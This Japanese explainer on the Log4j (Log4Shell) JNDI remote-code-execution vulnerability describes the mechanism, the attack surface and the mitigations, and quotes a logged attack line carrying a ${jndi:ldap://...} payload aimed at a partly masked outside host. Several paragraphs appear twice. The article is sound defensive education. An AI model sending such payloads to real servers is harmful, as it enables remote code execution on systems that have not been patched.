Apache Log4jの脆弱性って何?
(仕組み・リスク・対策について)
ここ数日、Apache Log4j(ログフォージェー)と呼ばれるソフトウエアの脆弱性が話題に上がっています。
その影響範囲の広さから、開発関係者の間では、ちょっした騒ぎになっていますが、これはどういうことなのでしょうか。
その影響範囲の広さから、開発関係者の間では、ちょっした騒ぎになっていますが、これはどういうことなのでしょうか。
Log4jについて
Log4jは、プログラミング言語Javaを使用したアプリケーションで、様々なログ(アクセスや操作、通信などの履歴)を管理するためのオープンソースのパッケージで、Webサイトのアプリケーションを中心に、広く使用されています。Apache WebサーバやTomcat アプリケーションサーバなどで有名な米国の非営利財団が提供、保守を行っており、様々な形式のログ出力機能をサポートしていて、開発者にとっては便利なツールです。
このパッケージが提供する機能の一つに、JNDIルックアップと呼ばれる機能があります。これは、アプリケーションから渡されたログデータを整形して出力する際に、特定のキーワードをディレクトリ(LDAPサーバ)で検索し、その結果で置き換える機能です。たとえば、エラーコードなどを対応する別の文字列に置き換える目的でも使用できます。今回、この機能に脆弱性が発見されました。
どのような脆弱性か
どのような脆弱性かを簡単に説明すると、与えるログデータを加工することで、この機能に使用するLDAPサーバを別のサーバに変更できてしまうというものです。
本来、使用するLDAPサーバをログ文字列側から操作できてはいけないのですが、それが出来てしまったことが最大の問題と言えます。LDAPの検索結果が、シリアライズ(複数の要素を一列に並べる操作や処理)されたJavaクラス、つまりjavaで書かれたプログラムであった場合、Log4jはそれを読み込んで実行してしまいます。もし、何者かが悪意を持ってログデータにこうした置き換え指示をまぎれこますことができれば、Log4jにインターネットを経由して自分のLDAPサーバにアクセスさせ、不正なJavaクラスを読み込ませることができてしまいます。これにより、攻撃者が意図する処理をサーバに実行させる可能性が生じるのです。この脆弱性が、遠隔コード実行(Remote Code Execution: RCE)脆弱性と呼ばれるのは、これが理由です。
攻撃の実現性について
では、そんな攻撃が現実に可能なのでしょうか。実は、これが結構簡単だったりするのです。多くのWebアプリケーションは、Webサーバを経由して様々な環境情報を受け取ります。それらの中には、ユーザがアクセスした際に、ブラウザから渡されるものが含まれます。これは、URLそのものだったり、ブラウザの種別情報、いわゆるユーザエージェント情報や、リファラと呼ばれるリンク元のURLだったりします。これらのデータやその一部がLog4jを経由してログファイルに出力するようなアプリケーションは多く存在します。つまり、ブラウザのふりをして、加工された情報をサーバに渡すことは難しくありません。
とりわけURLに含まれるパスなどは、ブラウザを使って手書きでも加工できてしまいます。他の情報も、たとえばブラウザのふりをするプログラムを作ったり、脆弱性検査などで使用するプロキシツールを使ったりしてデータを書き換えることで加工することができます。
実際の攻撃と思われるログ
実際、既に多くのWebサーバに対して、こうした手法を試みる攻撃が発生しているのです。
以下は、あるWebサーバのログに記録された攻撃の様子です。
157.xx.yy.190 - - [15/Dec/2021:09:42:08 +0900] "GET / HTTP/1.1" 200 16384 "-" ${jndi:ldap://xxx.55.xx.26/2012579635/C}"
このケースでは、ユーザエージェント情報として攻撃コードが渡されています。
もし、こうした攻撃を受けたサーバ上のアプリケーションがLog4jにデータを渡していると、脆弱性への攻撃が成功してしまう可能性があり、非常に危険です。これが、今、大騒ぎになっている理由なのです。
以下は、あるWebサーバのログに記録された攻撃の様子です。
157.xx.yy.190 - - [15/Dec/2021:09:42:08 +0900] "GET / HTTP/1.1" 200 16384 "-" ${jndi:ldap://xxx.55.xx.26/2012579635/C}"
このケースでは、ユーザエージェント情報として攻撃コードが渡されています。
もし、こうした攻撃を受けたサーバ上のアプリケーションがLog4jにデータを渡していると、脆弱性への攻撃が成功してしまう可能性があり、非常に危険です。これが、今、大騒ぎになっている理由なのです。
対策について
最も確実な対策は、Log4jを、修正が行われた最新版に置き換えることですが、実際、これが簡単でない場合もあります。たとえば、外部の開発元に委託して開発したアプリケーションやパッケージで、Log4jが使われているかどうかがわからないケースです。もちろん、開発元には迅速な対応を促したいところですが、既に攻撃が始まっていることもあり、猶予はあまりありません。
そこで、回避策も考えておく必要があります。アプリケーションではなく、Javaの実行環境に対して制限を加えることで、問題を緩和することができます。
(参考1:JPCERT注意喚起情報参照)
そこで、回避策も考えておく必要があります。アプリケーションではなく、Javaの実行環境に対して制限を加えることで、問題を緩和することができます。
(参考1:JPCERT注意喚起情報参照)
また、Log4jが外部のLDAPサーバに対しての通信を行う事を防止することで、攻撃の影響を緩和することができるでしょう。攻撃自体はアプリケーションに影響を与えますが、外部のLDAPサーバへの通信が妨害できれば、不正なコードを読み込ませることが難しくなります。
従って、こうしたサーバからインターネットに向けた通信は原則禁止として、本当に必要な相手に対してのみ限定して許可するようにすれば、リスクを大きく下げることができます。
なお、LDAPのポートは変更可能であり、標準的なポートをブロックするだけでは不十分ですので注意してください。
既に攻撃が始まっています。影響の有無を含めて、早急に確認、対応する必要があります。
参考1:JPCERT 注意喚起情報
https://www.jpcert.or.jp/at/2021/at210050.html
参考2: Apache Log4j プロジェクト
https://logging.apache.org/log4j/2.x/
従って、こうしたサーバからインターネットに向けた通信は原則禁止として、本当に必要な相手に対してのみ限定して許可するようにすれば、リスクを大きく下げることができます。
なお、LDAPのポートは変更可能であり、標準的なポートをブロックするだけでは不十分ですので注意してください。
既に攻撃が始まっています。影響の有無を含めて、早急に確認、対応する必要があります。
参考1:JPCERT 注意喚起情報
https://www.jpcert.or.jp/at/2021/at210050.html
参考2: Apache Log4j プロジェクト
https://logging.apache.org/log4j/2.x/
注:修正版のバージョン
2.16.0 (Java8以降のバージョン向けの最新版)
2.12.2 (Java7向け)
当初、修正版としてリリースされた2.15.0は、特定の条件下でサービス妨害攻撃が可能であることが判明したため、2.16.0に更新されました。
2.16.0では2.15.0でデフォルト無効とされたMessage Lookupと呼ばれるログデータ内で参照先が指定できる機能が完全に削除され、さらにLDAPによるルックアップは(JNDIと呼ばれるインターフェイス)デフォルトで無効化しています。
なお、バージョン1系列は、すでにサポート終了となっているため、更新は行われません。今回の脆弱性では、少なくとも遠隔攻撃は不可能であることが確認されています。ただ、他の脆弱性も未修正のため、バージョン2系列への移行を検討する必要があります。
2.12.2 (Java7向け)
当初、修正版としてリリースされた2.15.0は、特定の条件下でサービス妨害攻撃が可能であることが判明したため、2.16.0に更新されました。
2.16.0では2.15.0でデフォルト無効とされたMessage Lookupと呼ばれるログデータ内で参照先が指定できる機能が完全に削除され、さらにLDAPによるルックアップは(JNDIと呼ばれるインターフェイス)デフォルトで無効化しています。
なお、バージョン1系列は、すでにサポート終了となっているため、更新は行われません。今回の脆弱性では、少なくとも遠隔攻撃は不可能であることが確認されています。ただ、他の脆弱性も未修正のため、バージョン2系列への移行を検討する必要があります。